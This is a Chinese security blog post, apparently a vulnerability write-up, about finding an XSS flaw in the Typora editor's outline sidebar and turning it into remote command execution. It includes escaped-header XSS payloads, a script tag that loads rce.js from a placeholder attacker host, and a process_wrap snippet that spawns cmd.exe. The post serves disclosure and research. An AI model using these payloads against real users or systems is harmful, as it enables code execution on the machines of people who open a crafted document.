Typora XSS 到 RCE (上) Secer's Blog - 记录互联网安全历程与个人成长经历

前言：

在去年的12月份，我在知乎上看到了一篇名为《如何在Typora编辑器上实现远程命令执行》的文章，作者发现了 Typora 对iframe标签处理不当造成的 XSS 漏洞，而正如文章作者所说：针对Electron应用，大部分时候我们只要找到了 XSS 漏洞，也就约等于完成了命令执行。最终用户只需打开攻击者构造好的恶意文档，就会被攻击。

这篇文章使我感到非常后怕，因为我平时里正是使用 Typora 编写 Markdown 文档，而我身边也有不少朋友同样是 Typora 的忠实用户。因此我决定要深入挖掘一下，看看 Typora 是否还有其他漏洞。于是在陆续结束了期末考试和校内招新赛(Hgame)准备之后，我在两天时间里，也挖到了三个Typora XSS漏洞，同样它们也可以造成RCE。

Typora官方为此在两天之内连续发布了两个安全更新，截止目前（2019.2.4），还有最后一个漏洞未完成修复。

这里主要分享一下我挖掘到这三个漏洞的过程和漏洞分析。

漏洞一：

黑盒测试：从输出点入手

如果是使用过 Typora 的师傅应该都知道，Typora 的实时预览模式中，对用户输入的非法(被认为可能造成 XSS 攻击的)HTML 标签的处理并不是像其他编辑器那样严格地直接过滤掉，而是会在 HTML编码后进行安全输出：

那么可不可能存在一个输出点，标签未经编码就直接输出了呢？

我们要寻找的是默认情况下，用户打开文档之后无需任何操作就能看到的输出位置，这样的位置上的 XSS 才是有意义的。那么除了实时预览界面就只剩下了左侧的大纲栏：

Typora 的大纲栏，其实就是自动生成了一个TOC (Typora功能上真的很贴心）,会将各个标题对应的锚点链接逐级排列在左侧边栏。那么我们通过开发者工具对这里的输出进行测试：

我们看到，左侧的大纲栏似乎并没有原样直接输出标题中的内容，而是除去了script标签。

那么来看看如果输入的是合法的标签呢？

这里 <i> 标签同样被过滤掉了，这说明这个输出点默认只输出文本内容。

那么我们如果把标签以文本、而非 HTML 标签的形式插入进去呢？

我们都知道在 Markdown 语法中，如果我们想表示< > 这样的 HTML 保留字符，我们就需要在输入时用反斜杠进行转义，于是尝试如下输入：

# \<i\>H1\</i\>

结果：

可以看到在大纲栏中成功插入了HTML标签。

尝试构造 XSS：

# \<script>alert(1)\</script\>

当然，也可以引入外部文件来更方便的实施攻击。值得一提的是，在官方修复上一个XSS的时候，同时也禁用了require 函数，限制了通过require 引入child_process 执行系统命令的方法，不过没关系，我们还有process ，那么下面是一个执行系统命令的例子：

# \<script src=https://hacker_s_url/rce.js\>\</script\>

//rce.js 's content
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function (a, b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key + '=' + env[key]);
proc.spawn({
 file: 'cmd.exe',
 args: ['/k netplwiz'],
 cwd: null,
 windowsVerbatimArguments: false,
 detached: false,
 envPairs: env_,
 stdio: [{
 type: 'ignore'
 }, {
 type: 'ignore'
 }, {
 type: 'ignore'
 }]
});

用户打开文档的效果如下：